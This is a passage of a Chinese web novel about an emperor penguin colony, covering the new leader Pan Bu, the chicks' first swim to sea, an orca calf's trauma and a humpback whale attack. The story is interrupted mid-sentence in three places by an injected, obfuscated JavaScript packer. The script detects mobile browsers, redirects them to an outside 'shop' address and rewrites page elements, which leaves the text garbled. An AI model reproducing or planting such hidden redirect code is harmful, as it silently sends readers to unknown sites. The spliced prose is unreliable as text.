“这次你们去大海要早点回来,崽子们该独立生活了。” 阿湄激动的说:“崽子们终于要下海了,真好,阿步,我们现在就出发!” 潘步目送着雌企鹅们出海,心里也是乐开了花,冬季终于要结束了。 旁边就是阿让的族群,潘步看着两个族群幼崽的显著差距,心里多少有点不得劲儿。 阿让族群的幼崽全都特别高大威猛,打架也很厉害,对父母的依赖相对没那么强,独立性已经比较好。 反观他自己的族群,大部分幼崽身高都不如阿让族群,打架都打不明白,一步都离不开父母。 此后很多天,他就一直这样呆呆的看两个族群的崽子们打闹,站着看累了,就趴着看。 他偶尔也会看阿让在干嘛,他发现,阿让大部分时候都在看阿加,但阿加从来没看过阿让一眼。 …… 当第一批阿德利大部队上岸,南极的夏天终于要来了。 潘步总是看见,阿德利欺负他族群的幼崽,啄崽子的毛,扇崽子。 但他一点儿也不生气,这是锻炼崽子们,也是为将来下海做准备。 阿德利企鹅,才帝企鹅幼崽身高的一半,但阿德利太凶残,帝企鹅幼崽啥也不懂,被吓坏了,只会傻愣愣的站着挨揍。 潘步:这不就是——超凶超社会160流.氓叔叔vs呆萌稚嫩190单纯大学生! 唯一不怕阿德利的,两个族群加起来,也只有阿加。 阿加会毫不犹豫的给阿德利扇回去,阿德利都懵了,从没见过这么胆大的帝企鹅幼崽! 阿德利哪里吃过这种亏,更加疯狂的啄阿加,都被阿加啄了回去,实在打不过,阿德利才骂骂咧咧的走了。 潘步:崽崽好样的,你这么小,就连阿德利都不怕,不敢想成年后多霸气! 他一点儿也不担心阿加因为不怕阿德利,就不下海,因为阿加天天都闹着要下海,恨不得立马下海。 他更担心崽子太快下海,会被豹海豹吃掉,但没办法,崽子必须通过无数次生死逃亡,才能拥有最快的游速! …… 当第一缕阳光洒在无边的冰面上,阿湄带着雌企鹅们回来了。 永昼正式开启。 潘步跟族群简单交代了一下,没有丝毫的犹豫,径直走向了阿让的族群。 阿让就在族群的正中央,看似在睡觉,实际一直在偷偷观察阿步。 潘步早就已经决定了,他还是要加入阿让的族群。 阿让族群的幼崽有几千只,他族群的幼崽才一百多只,崽子们下海后,同伴越多,才越安全。 他不能因为一时赌气,就让族群的幼崽失去这么好的机会。 阿加自然跟了过来,但他也没劝哥哥,只是默默跟着。 潘步走到阿让的面前,直言道: “阿让,我知道你没睡觉,我的族群要加入你的族群,你必须答应。” 他就这么强势,他就坚定的认为,都是阿让欠他。 阿让不屑道:“给我一个必须答应你的理由,之前你可是说过,死都不会加入我的族群。” 潘步更加强势的说:“那都是我的气话,我收回,而且那时情况不一样,既然我的族群已经长途跋涉来了这里,你就必须让我的族群加入,才不枉费我们跑这么远!” 阿让不自觉换上了欣赏的眼神,说: “终于,我终于找到最好的新首领,你通过了我的考验!” 潘步疑惑道: “什么意思?什么考验?我没说过要当什么新首领。 是不是因为阿加让你必须把首领的位置让给我?阿加让你给,你就真给啊? 你不要太溺爱阿加,我带不了这么大的族群!” 阿让解释道:“你误会了,我让你当新首领,跟阿加一点儿关系都没有。” 潘步更加疑惑了:“那到底为啥啊?” 阿让解释道: “前两年,我就已经在找新首领培养,但一直没找合适,最初,我也不觉得你合适,直到,你把我骂走了…… 如果你为了阿加,带着族群长途跋涉来我的族群,那我永远不会让你当我族群的首领,这一关的考验,你就无法通过。 现在,你又为了族群幼崽,不顾自己的脸面,在跟我关系很差的情况下,也硬要加入我的族群,第二关考验,你也通过了。” 潘步听完后,终于懂了。 阿让是用这两个考验,筛选出最会为族群考虑的新首领。 瞬间,他对阿让的崇拜,再次达到巅峰,并且阿让在他的心里的形象,比之前高大了无数倍! 跟阿让比起来,他作为首领还是太稚嫩,他太冲动易怒,完全没有阿让的沉着冷静。 这么长时间,阿让一直被他误会,被阿加误会,但阿让丝毫不生气,一心只想找到最合适的新首领。 潘步无比诚恳的说:“阿让,对不起,之前都是我的错。” 阿让忙道:“不,你没错,你很好,阿步,再也没有比你更好的新首领!” 潘步如实说:“阿让,我真当不了新首领,我远远不如你,这么大的族群,我带不好。” 阿让道:“不用着急,我会教你,从现在开始,你就是新首领。” 潘步死活不肯当新首领,但阿让太坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938602|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持。 随后,两个族群完全合并。 阿让非常郑重的宣布,阿步为新首领,以后都必须听新首领的命令。 潘步实在忍不住,当着整个族群,又拒绝了很多次,但拒绝无效。 接管族群后,他首先要决定的就是,什么时候带着族群所有的成年帝企鹅下海,崽子们该独立生活了。 这个倒是不难决定,他当即宣布:十天后,他们就下海。 帝企鹅父母都非常舍不得自己的幼崽,尽可能将肚子里的鱼虾全都喂给崽子。 潘步第一次管理如此庞大的族群,到底有些紧张。 他不停的巡视族群,随时询问每一个小分队队长情况。 足有几十个小队长,每个队长负责汇报自己编队的情况,以保证首领能最快掌握整个庞大族群的所有信息。 终于又巡视完了整个族群,潘步这才回到族群中央休息。 阿加不再粘着哥哥,拼命吃阿湄和阿让喂给他的鱼虾,吃的肚子圆滚滚的也不停。 潘步发现,这些天以来,阿加和阿让的关系已经缓和了很多。 这让他更心疼阿加,崽崽从小颠沛流离,爸爸是最好的首领,但真不一定是最好的爸爸,阿加都没见过自己的妈妈。 之前他就听阿让说过,阿让好不容易孵化了幼崽,却再也没等到阿加的妈妈回来。 出海后没回来的企鹅妈妈或者爸爸,就是死了,这再寻常不过。 雌企鹅产蛋后必须马上回大海进食,雄企鹅负责孵蛋,雌企鹅在大海被吃掉或者其他原因死掉,幼崽就很难养活。 潘步环顾整个族群。 几乎所有幼崽都父母双全,但凡单亲的崽子,早就死了。 帝企鹅只能一年换一个配偶,也是因为明年再上岸,去年的对象,真不一定还活着! 十天时间倏忽既逝。 潘步没有丝毫的犹豫,果断带着族群成年帝企鹅往大海飞速滑去。 崽子们在身后叽叽叫着追,实在追不上,只能茫然的看着父母离去。 阿加没有追,他只是目送着哥哥和族群离开。 潘步带着族群回到了大海,但他迟迟不肯往深海区游,就望着岸上发呆。 阿沙催促道:“老大,我们真该走了。” 潘步在心里安慰自己:阿加很厉害,崽子们也很厉害! 帝企鹅最重要的技能,就是无与伦比的游速,只有经历无数次极限生死逃亡,崽子们才能具备超凡的游速,这是生存之本。 潘步最后看了一眼繁殖地方向,毅然决然带着族群往远洋游去。 崽子们在具备超凡游速之前,是到不了远洋的,正好可以得到最好的锻炼。 他们游了很久,终于抵达远洋。 潘步首先就找到了最大最厚的一块浮冰,带着族群在上面休息。 没一会儿,他就看见海德带着海赛游了过来。 海德知道帝企鹅夏季会一直待在远洋,提前就带着族群来了这里。 海赛不停的嘤嘤叫:“妈咪,你终于可以在海里很久很久啦,妈咪,我好想你!” 这时,潘步又看见,蓝影和蓝星朝着这边游了过来。 潘步:……你们是在我身上装了GPS定位吗,来的这么快! 22.南极帝企鹅·生命赞歌(22) 潘步看着海赛,就想起巨牙,当初两个崽子斗嘴,他都怕海赛弄死巨牙,现在海赛却成了什么都怕的虎鲸。 他很想巨牙,但短时间内是见不到了。 象海豹幼崽也是必须要完全脱离父母独自生活锻炼的,在此期间,象海豹幼崽的死亡率很高。 不过更让他担心的还是,巨鼻会不会因为太过溺爱幼崽,一直暗中保护巨牙,或者不放巨牙去独立生活,这两种情况才是最糟糕的! 如果巨牙始终被保护的很好,或者从未开始独立生活,就无法得到真正的锻炼,早晚都会死。 不过,他再担心也没用,他没法去看巨牙。 巨牙不在南极的远洋,在赤道附近海域的远洋,帝企鹅去不了。 海赛无比激动的高高扬起鲸尾,大张着嘴嘤嘤叫。 潘步赶忙滑行到浮冰边缘,一个俯冲将自己投.射到海里,精准落在了海赛的“血盆大口”跟前。 海赛怕吓到他,赶忙闭上了嘴,用大脑袋蹭着他的全身,他也不住的回蹭,怎么亲昵都不够。 蓝影带着蓝星游到了他们的面前,蓝影不怕虎鲸,但她还是刻意保持着一点距离。 潘步完全理解社恐对陌生鲸的拘谨,忙道:“蓝影,你不想说话,就不说,没关系的。” 蓝影十分感激的摆了摆双鳍。 潘步蹭了蹭蓝星巨大无比的脑袋,好奇的问:“崽崽,你不是要给我惊喜吗?” 蓝星故作神秘道:“爸爸,你想要什么惊喜?你猜猜会是什么?” 潘步实在想不出,摇着头说:“我不知道。” 蓝星道:“爸爸,妈妈带我去了热带海域,我偷偷去看了巨牙,我听说巨牙也是爸爸的幼崽,就想去看看。” 潘步的眼睛顿时就亮了,惊喜道:“崽崽,你怎么知道,我特别想巨牙,特别想知道巨牙现在怎么样,你快说!” 蓝星如实道:“巨牙生活的很好,巨鼻特别厉害,把巨牙保护的很好,教了巨牙很多捕猎技巧、战斗技巧……” 潘步只感到两眼一黑。 蓝星疑惑道:“爸爸,你不开心吗,我还以为你会很想知道巨牙的情况,我没骗你,巨牙真的已经很厉害……” 潘步连忙说:“崽崽,你能跑那么远去帮我看巨牙,我特别开心,但是,象海豹跟大鲸不一样……” 他非常详细的解释了,象海豹幼崽去了远洋就不能再被保护。 任何鲸崽都不需要也不能跟父母分开,但这是因为鲸是海洋顶级猎食动物。 象海豹和企鹅跟鲸的生存方式完全不一样,幼崽就是必须离开父母独立成长。 蓝星听完后,若有所思的说:“爸爸,我明白了,你放心,我会再去找巨鼻。” 潘步愧疚道:“可是,崽崽,热带海域太远,我不能再麻烦你们。” 蓝星却说:“不远,而且我没带回来好消息,就不算是惊喜,必须让爸爸开心,才是惊喜,我一定要让巨鼻按照爸爸说的做。” 海德忙道:“阿步,我让我族群的虎鲸去找巨鼻,我的族群之前就是过客虎鲸群,我们可以全海洋到处跑。” 蓝影轻声说:“我、我想去,阿步,你就让我和崽崽去吧。” 潘步沉思了好一阵后,说:“海德,虎鲸会捕猎象海豹,我怕吓着巨牙,而且虎鲸太粗暴,肯定劝不好巨鼻,还是让蓝星和蓝影去吧。” 巨鼻当初为了巨牙,连命都不要,现在肯定舍不得让崽子离开自己,绝对不是好劝解的,蓝鲸温和又很有耐心,确实更合适。 海德不得不承认,就算是他亲自去,他也劝不了两句,就想给巨鼻一顿揍。 潘步特别不好意思的说:“蓝影,崽崽,真的麻烦你们了。” 蓝星严肃道:“爸爸,你就不会对海德和海赛这么客气,你就是没把我当你的幼崽!你要反思!” 潘步愣了愣,他确实没有把蓝星当自己的幼崽,关键他脸再大,也不好意思真的当蓝鲸的爸爸啊! 不过为了让崽子开心,他还是决定要改变。 他无比轻柔的蹭了蹭蓝星巨大无比的脑袋,说:“好,崽崽,我改,那我就把这个任务交给你了!” 蓝星高兴道:“爸爸,我保证完成!那我们现在就出发,等我好消息吧!” 潘步目送着母子俩离开,眼泪不自觉模糊了双眼。 他不知道自己何德何能,可以拥有这么好的幼崽! 可以再去热带海域,蓝影高兴的不行,不自觉的发出一声又一声无比愉悦的鲸鸣。 其实就算她的族群对她再包容,要去很远的海域,每次蓝影都要找很多借口,才能说服。 这回她完全不用找借口。 族群都知道是阿步救了她,只要是为阿步做事,族群不仅非常支持,还会拼命夸她,她很少获得族群夸赞。 …… 另外一边,阿加召集了族群所有幼崽,带着他们慢慢往海边走。 长途跋涉对阿加来说很简单,但其他幼崽完全不行,他们走走停停,叽叽叫着喊累。 阿加用翅膀扇,用喙啄,不停驱赶,效果都不好。 他再厉害,也没法同时赶几千只幼崽,幸而有阿德利帮忙。 无数阿德利对帝企鹅幼崽又啄又扇,嘎嘎叫着说: “傻大个,快走,管你们累不累,反正得给我们腾地方,不能耽误我们生崽子!” “那个崽子厉害,他走最快,还帮我们赶呢!” “你不认识啊,那可是阿加,他是阿让的亲生崽子,又被阿步养大,当然最厉害啦。” …… 阿加没听这些阿德利在说什么,他只有一个目标,尽快到大海,尽快去找哥哥。 其余帝企鹅幼崽全都被驱赶到“生无可恋”。 崽子们被阿德利凶残的样子吓的不行,在他们的眼里,这些矮个子全都是——邪恶坏叔叔! 但心里再气,身体再累,也只敢一边摇摇摆摆的走,一边小声抱怨:“知道啦,知道啦,别催啦。” 越靠近海边,巨鹱越多,全都试图捕猎身体瘦小的帝企鹅幼崽。 阿加张开翅膀护住了族群里最弱小的崽子,他猛啄、猛扇巨鹱,硬生生将巨鹱逼走了。 帝企鹅非常团结,将弱小的崽子护在中间,不许巨鹱叼走,但他们不够凶残,赶不走巨鹱,战局僵持不下。 阿加所在的族群也一样,阿加再厉害,也保护不了所有瘦小幼崽,把他急的不行,赶走一只巨鹱,还有很多只,根本赶不完! 幸而,阿德利族群冲了过来,挺起矮小的身体,猛啄猛扇巨鹱,嘎嘎大叫: “臭鸟,死鸟,滚开啊,敢耽误他们下海,就是耽误我们生崽,臭鸟,去死吧!” “傻大个,你们倒是打啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943567|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怕啥,像我这样打,干死这群臭鸟,干!” …… 阿德利虽然很凶,但也是真的会全程“护送”帝企鹅幼崽下海。 两者属实算很可爱的共生关系——毛都没长齐的帝企鹅公主王子殿下vs矮个子阿德利骑士! 阿德利:社会鹅、黑.帮鹅、祖传打架精、好斗王者! 终于,帝企鹅幼崽在阿德利的护送下,成功抵达海边。 崽子们第一次看见大海,只觉得,大海太陌生太恐怖。 阿加不是第一次看见大海,但这次身边没有哥哥。 他望着无边无际的大海,惊涛骇浪拍打着海岸,海里不知道藏了多少豹海豹。 他怕了,他也不敢下海,他怕死,怕再也见不到哥哥。 阿德利疯狂啄帝企鹅幼崽,拼命驱赶,将崽子们身上的绒毛全部啄掉。 冰面上、沙滩上、空中全是帝企鹅幼崽的绒毛,防水的翎羽也逐渐露出更多。 社会阿德利:鹅毛给你薅一地! 越来越多的阿德利族群上岸,疯狂驱赶,帝企鹅幼崽们的压力越来越大。 阿德利都急疯了,他们知道只要有第一个幼崽下海,后面就容易多了。 他们盯准了胆子最大的阿加,拼命将阿加往海里顶,阿加再厉害,也打不过这么多的阿德利,被逼到了海岸边缘。 阿加很怕,但疯狂想要见到哥哥的欲.望还是超越了恐惧。 他第一个跳了下去,族群幼崽们紧随其后,一个接一个,其他族群的幼崽也跟了上去。 崽子们刚下海,豹海豹就冲了过来,阿加嘎嘎大叫:“快游,跟紧我!” 他始终记得哥哥教的:别怕,别看,什么都不要想,拼命游,快点,再快点,要比流星还快! 鲜血把周围的海水都染红了,无法估计多少幼崽死亡。 这些幼崽好不容易活过残酷的冬季,下海就被吃,实在太可惜。 但这就是帝企鹅的日常。 阿加想起,阿让说:只有从豹海豹口中逃生无数次,才算合格的帝企鹅。 但哥哥说:任何一只帝企鹅都很伟大,活到任何时候的帝企鹅幼崽都是最厉害的幼崽! 阿加觉得,哥哥说的对。 潘步带着庞大的族群游到了深海进食,吃饱后又带着族群返回海面。 阿让始终紧跟在潘步的身边,一边游一边将自己的经验非常详细的进行传授: “族群太大,你很难看到最后面有没有被豹海豹捕猎,要随时观察水流,哪怕一点儿激荡,都要立刻警觉……” 潘步听的很认真,不住的点着头,同时仔细观察水流,学以致用。 他带着族群回到浮冰上休息,阿让也不再继续传授,一起睡觉休息。 潘步刚闭上眼睛,就梦见,很多帝企鹅幼崽都被豹海豹吃了。 他难过的不行,气的不行,再也睡不着,睁开眼睛到处看。 没一会儿,就看见不远处有豹海豹被鲨鱼捕猎。 豹海豹对帝企鹅来说很恐怖,但在大海里就是“弟中弟”。 虎鲸不爱吃豹海豹,因为太肥,但鲨鱼超爱吃。 豹海豹也不过就是——虎鲸的把子肉,鲨鱼的放纵餐! 潘步:真解气,鲨鱼好事做尽! 虎鲸其实也还行,没那么坏,反正能吃豹海豹的就成! 23.南极帝企鹅·生命赞歌(23) 潘步看着大白鲨群将捕猎的豹海豹吃的一干二净,心里气顺多了。 鲨群只是路过这片海域,顺便搞了顿大餐吃。 足有十多只豹海豹命丧于此,进食的海面都被鲜血和油脂腻了厚厚的一层。 鲨群离去,空气中弥漫的血腥气,久久都未消散。 夏季,南极远洋非常热闹,他们休息的浮冰周围全是各种各样的鲸群、海豚群、企鹅群。 突然,原本悠闲的海豚群开始极速逃命。 潘步用爪子猜,也知道是虎鲸来了,很可能就是海德的族群。 虎鲸不经常捕猎海豚,但海豚不像企鹅可以躲在浮冰上,也不像大型须鲸有能力跟虎鲸对抗,只能先跑路。 海豚不过是虎鲸偶尔会吃的“网红奇葩饭”,赶时髦吃吃还行,多吃几顿,都得腻。 附近的所有海豚群瞬间消失不见,海豚的游速比企鹅还快,全靠游速保命。 好一阵后,海德才带着海赛从深海区游上来。 潘步立马跳到了他俩的面前,不住的蹭着海赛的大脑袋,说:“我就知道,是你们!” 这段时间,海德几乎每天都会带着海赛来找他。 海德长叹了一口气,绝望道:“阿步,我受不了了,崽子就这样吧。” 海德带着族群来远洋后,更加频繁的对海赛进行“脱敏训练”,因为远洋的座头鲸群更多更厉害且更易激怒。 但是,无论重复多少次,一点儿效果都没有。 每次复现当时的场景,不仅是对崽子的折磨,更是对他的折磨,他怕自己也会精神失常。 潘步非常理解海德的痛苦,那无异于让海德无数次失去海音。 他理解但无法接受,喃喃自语道:“可是,海赛怎么办,海赛还这么小……” 海德坚定的说:“我会永远保护赛赛,等我不在了,族群会保护他,我定会在族群培养出像我一样厉害的虎鲸首领!” 虎鲸族群永远不会抛弃老弱病残,并且弱势个体还会被照顾的很好! 潘步以前做过虎鲸族群的科研,跟踪记录一头背鳍严重弯曲的病弱虎鲸。 好几年后,那头虎鲸在族群的精心养护下,背鳍竟然逐渐不再那么弯,慢慢真给养回来了! 无论有没有海德,族群都会很好的照料海赛,这毋庸置疑。 但当族群被座头鲸攻击的时候,但凡有一点疏忽,海赛这样的就最容易被座头鲸弄死。 海德不甘心,这可是他和海音唯一的幼崽。 他答应过海音,一定会让崽子成为最厉害的虎鲸! 可是,他真怕自己的脑子也被搞出问题,那海赛只会更惨。 潘步只想着,海赛可是“极品天灵根”幼崽,天之骄子变废物,谁能接受得了! 更何况,就算是普通幼崽,就算真的是废物幼崽,也得治好脑子,至少要有基本生存能力。 潘步越想越气,微怒道:“我说赛赛是最厉害的虎鲸,他就是!你要放弃,那是你的事!我永远不会放弃!” 海德已经彻底绝望,并不管阿步还能用什么办法,只是说: “随便你,但,算我求你,别再折磨我。” 潘步硬气道:“我不要你帮忙!你现在就带着族群滚远点,不要靠近,在远处保护我们就行!” 海赛不懂为什么他俩突然就吵了起来,但就算对面是爸爸,他也站在妈咪这边,他愤怒的冲着海德大喊: “你干嘛惹我妈咪生气,你快道歉,快点!” 海德很惊讶,崽子为了阿步,竟变的这么凶,平时崽子都很怕他的,赶忙说: “崽崽,都是爸爸不好,爸爸马上给你妈咪道歉,阿步,对不起,都是我的错。” 潘步只是催促:“你快带族群去远处,不然,你听了,又受不了。” 海德赶忙点了点头,他已经大概猜出阿步的新办法。 潘步柔声道:“崽崽,现在,我要告诉你关于你的妈妈海音是怎么死的详细过程,你听完,要给我复述……” 主要没有海德的配合,他搞不来座头鲸,只能先“话疗”。 潘步讲的很慢,海赛听的很认真,听着听着就止不住的嘤嘤哭,难过的不行。 他丝毫没用心软,让崽子复述了一遍又一遍,直到崽子对这段经历倒背如流。 然而,崽子说着说着就会忘记这个故事里面的虎鲸是自己的妈妈,阿步就不断重复提醒。 他不会太高强度的刺激,一旦崽子眼神变的太迟钝麻木,就不再继续,转而陪崽子玩。 为了激起崽子对他的保护欲,玩耍的时候,他都刻意引导。 他让海赛大张开嘴,柔声说:“崽崽,我想在你牙齿上蹭痒,你别动。” 海赛急道:“妈咪,不行,我怕不小心弄伤你!” 潘步连忙解释:“企鹅在水里很灵敏的,而且我很厉害,只要你不动,我就不会受伤。” 他将自己的身体,放在海赛无比锋利的尖牙上,磨来磨去,柔声说: “崽崽,你看,企鹅好小好小,我都能在你的嘴里进进出出,但只有你才会真的不一动不动,你才会怕伤到我。 如果我被其他虎鲸捕猎,他们就会一口咬死我,你能保护我吗?” 海赛吓的一抖,赶忙往后游,将他吐了出来,惊恐不已的说: “妈咪,你干嘛这样,刚才吓我死了!谁敢伤害你,我就让爸爸活吃了他!” 潘步蹭了蹭崽子的嘴筒子尖儿,柔声道: “可是,海德总有顾不过来的时候,你不能保护妈咪,那可怎么办,别的虎鲸会把我撕碎,剥开我的皮毛,吃我的肉,喝我的血,好可怕……” 海赛顿时嘤嘤大哭起来:“妈咪,别说了,我会变厉害,我会成为最厉害的虎鲸,最厉害的!” 潘步佯怒道:“你每次都说要变厉害,但还是一直这么胆小,你打不过别的虎鲸,就只能看着他们折磨我……” 海赛无法自控的瑟瑟发抖,不断重复:“妈咪,我会变厉害,一定会,你别说了,不许说了,快别说了……” 海赛甚至想用双鳍捏住他的嘴,不让他说,但又怕伤到他,还是没动。 企鹅太小,嘴更是小的不行,虎鲸要用双鳍捏住企鹅的嘴,无异于用起重机夹头发丝,根本不可能。 他赶忙哄:“崽崽,都是我不好,再也不说这些吓你了,别哭了,我带你去玩。” 潘步:骗你的,明天还吓你!直到你凶残起来! …… 他陪着崽子玩了许久,直到海德的族群要去捕猎,必须带走海赛,他才回到冰面上休息。 阿沙立马就冲到他的跟前,急吼吼的说:“老大,你疯了啊,你不怕虎鲸幼崽不小心咬死你啊!” 潘步只是说:“不会的。” 阿让担忧道:“阿步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948128|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虎鲸毕竟是虎鲸,你再信任他们,也要有个度。” 潘步连忙说:“如果您觉得我跟海赛的关系,对族群不好,还是你当首领吧,我真的不如你。” 他一直都想把首领位置还回去,但从来没成功过。 阿让却说:“你怎么都得当,阿步。” 潘步:…… 此后每天,潘步都这样对崽子进行话疗。 同样没什么效果,但他从未想过放弃! 海赛的脑子怎么都好不起来,如果硬要怪,还是就怪,虎鲸实在太聪明! 虎鲸大脑跟人类大脑的结构惊人的相似,控制认知和情感的大脑区域都同样高度发达。 换句话说,只有高智商动物才会得“精神病”,但凡笨一点,傻一点,都得不了这么高级的病! 这天,潘步又带着族群去深海区进食。 一路上周围的海洋生物都在七嘴八舌的说着: “这个阿步真搞笑,他以为他是谁啊,蠢的要命的企鹅,还真以为自己能让海赛好起来。” “企鹅比我的屎都蠢,再平的冰面,他们都能走两步摔三下,我的屎拉在冰上,都比他们走的稳。” “海德也是疯了,居然那么相信一只企鹅,脑子多少也有点问题。” “我以前见过脑子出问题的虎鲸,根本不可能好起来,很快就被座头鲸弄死了。” “蠢笨呆也挺好的,没什么烦恼,天天开心的跟个傻子一样。” “太弱也挺好的,全海洋都恨虎鲸,但没谁会恨企鹅,只会嫌他们又胖又蠢。” “被嫌弃也挺好的,大大减少被吃的风险,反正我不吃,我怕吃了就变笨。” …… 潘步:你们骂鹅,怎么都这么高级! 但其实,他听的美滋滋的,并且觉得,他们说的很有道理! 族群的帝企鹅们也全都听美了,说着: “对哦,还是当企鹅爽,我们又胖又蠢,会吃我们的,好没品味啊,嫌弃企鹅,嫌弃到沾都不想沾一口,快点变成潮流吧……” 其他海洋生物:“不是,怎么还给他们骂爽了,真服了!” 潘步:不吃企鹅变成潮流,你们怎么比我还想得美! 不过各种海洋生物确实会追逐潮流。 人类研究野生动物习性就证实过,某个海域的海豹将鳗鱼穿在鼻孔上,单纯因为海豹觉得这样很酷。 海豹:玩的就是西海岸! 虎鲸等社会属性很高的动物,赶潮流行为就更多更明显。 没一会儿,潘步看见,远处又出现了几只座头鲸,这已经不是第一次。 之前他都安慰自己,应该是巧合,但最近,越来越频繁。 阿让轻声说:“阿步,不用担心,我们游速很快,座头鲸追不上。” 潘步没想到,阿让居然跟他一样察觉到了,他十分愧疚的说:“对不起,阿让,都怪我。” 阿让轻声安慰:“不怪你,这也是锻炼族群的好机会。” 潘步无比崇拜的望着阿让,阿让总是这样,从不责怪,只解决问题。 他甚至觉得阿让的智慧已经远远超过任何一个人类,但阿让只是一只帝企鹅啊。 人类很多时候都很傲慢,总觉得动物不如人类。 但能刷南极副本的,真的没有孬种! 任何一只帝企鹅,都很伟大,阿让特别特别特别伟大。 24.南极帝企鹅·生命赞歌(24) 潘步游到了族群的最外面,以方便观察座头鲸以及指挥族群。 座头鲸暂时没有任何行动,他便带着族群继续去深海进食。 这片海域十分丰饶,很快族群就吃饱了,他照样带着族群回到海面,在超厚超大浮冰上休息睡觉。 南极海域的超大型浮冰,更准确的说像是漂浮在海面的冰原,即便是再厉害的鲸群也撞不碎。 只要带着族群回到了这种浮冰上,就意味着绝对安全。 潘步立即召集了族群几十个小分队队长,详细告知如何应对座头鲸的攻击。 此后,他仍旧每天对海赛进行“话疗”。 与此同时,他一直都保持着高度警惕,就等着座头鲸发起第一次攻击,但始终没有等到。 他甚至都要怀疑,是不是自己判断失误,座头鲸根本不屑于针对帝企鹅这种“废物小点心”。 企鹅太小太弱,座头鲸打企鹅,很可能成为全海洋的笑柄。 即便如此,他仍旧没有丝毫放松。 直到他又带着族群到海里进食,海水太过平缓,周围太安静,他总觉得黑黢黢的深海藏着特别可怕的庞然大物。 他死死盯着深海看,但除了无边无际的黑,什么都看不见。 深海边缘的一颗水藻,突然飘了起来,他立马发出极高频率的叫声。 几十个小分队队长立刻按照首领的命令,带着自己的小分队游向空旷的海域。 瞬息之间,整个庞大的族群分裂成几十个小族群,用比流星还快的游速分头逃命。 一群座头鲸眨眼间就从黑黢黢的深海冲了上来,庞大的身躯搅动得海底激流涌荡。 座头鲸制造的无敌旋涡激流,对游速极快身体极小的企鹅毫无作用,企鹅反而可以借助旋涡的助推将自己发.射出去,更快逃离。 庞大的帝企鹅群分散成几十个小分队,座头鲸群不得不分头去追,但根本追不上,连企鹅留下的极长水纹拖尾都追不上。 潘步不住的回头看,确认所有小分队都已成功逃脱,才加速游走。 没一会儿,座头鲸族群就已经被远远甩开,一点儿影子都看不见。 几十个队长带着各自的小分队回到族群最经常歇息的巨型浮冰上,很快整个族群就全都汇集于此。 潘步不断询问各个小分队的情况,确认没有帝企鹅伤亡,这才放心。 阿让安慰道:“阿步,别太紧张,在大海,没有任何首领可以保证族群一个成员都不损失。” 潘步只是说:“至少不能因为我连累大家。” 阿让道:“自从你成为首领,族群就很少被豹海豹捕猎,长期没有危险,对族群并非好事。” 潘步望着远处的座头鲸群,十分愧疚的说: “可是,企鹅躲避豹海豹的经验很丰富,但我们没有躲避座头鲸的经验。” 阿让语重心长道:“族群既然享受到了被虎鲸庇护的好处,自然要承担可能遭遇的坏处,更何况,积累不同的经验,不算坏处。” 潘步有些热泪盈眶,无论是以前的小族群,还是现在的庞大族群,从来就没有帝企鹅责怪过他,但这回是真的怪他! “可是,豹海豹吃饱就不会再吃,座头鲸成功攻击一次,族群会死伤很多。” 阿让道:“帝企鹅随时都会遭遇很多危险,没有什么是绝对不会发生的,勇气和无畏才是我们毕生依仗。” 潘步早已经满眼含泪,阿让的身影变得无比高大。 他挺起胸膛,直面南极刺骨的寒风,眼神无比坚定,哽咽着说:“谢谢你,阿让。” 阿让道:“是我们应该谢你,让我们又有了全新的经历,不断战胜新的困难,从中积累经验教训,这才是在南极生存的根本。” 潘步无法形容自己现在的心情,阿让已经不仅仅是教他怎么带领族群的老首领,更像是谆谆教导的父亲、长者。 他也终于知道,阿让为什么能成为最厉害的帝企鹅首领,为什么能积累那么丰富的经验,能记住对人类来说都太过复杂庞大的信息量。 阿让从来不把困难当困难,而是当增强自己经验和记忆的宝贵机会。 座头鲸群攻击帝企鹅族群,这么炸裂的消息瞬间传遍了整个南极海域,所有海洋生物吵翻了天: “帮虎鲸,活该被揍,真解气,早晚被座头鲸扇死。” “虽然但是,这不欺软怕硬吗,有个抹香鲸族群跟海德的关系也很好啊,还帮海德一起杀座头鲸呢,咋不敢去搞抹香鲸。” “抹香鲸吃你们大王乌贼,你就想让座头鲸去搞抹香鲸,你不异想天开吗,抹香鲸可从来不吃座头鲸。” “你的意思,企鹅吃过座头鲸啊,别把全海洋笑死!只有废物才去找更小的欺负,有本事弄死虎鲸去啊!” “呵呵,反正不管弄死虎鲸还是抹香鲸,都是你们大王乌贼爽,你当然说话不嫌触手疼。” …… 潘步听着这些争吵,心里只想着:最好全海洋群嘲座头鲸! 但他也知道,这不可能,至少短期内不可能。 座头鲸攻击企鹅,就像大象踩蚂蚁,真的很搞笑,费力不说,关键踩死有啥用?! 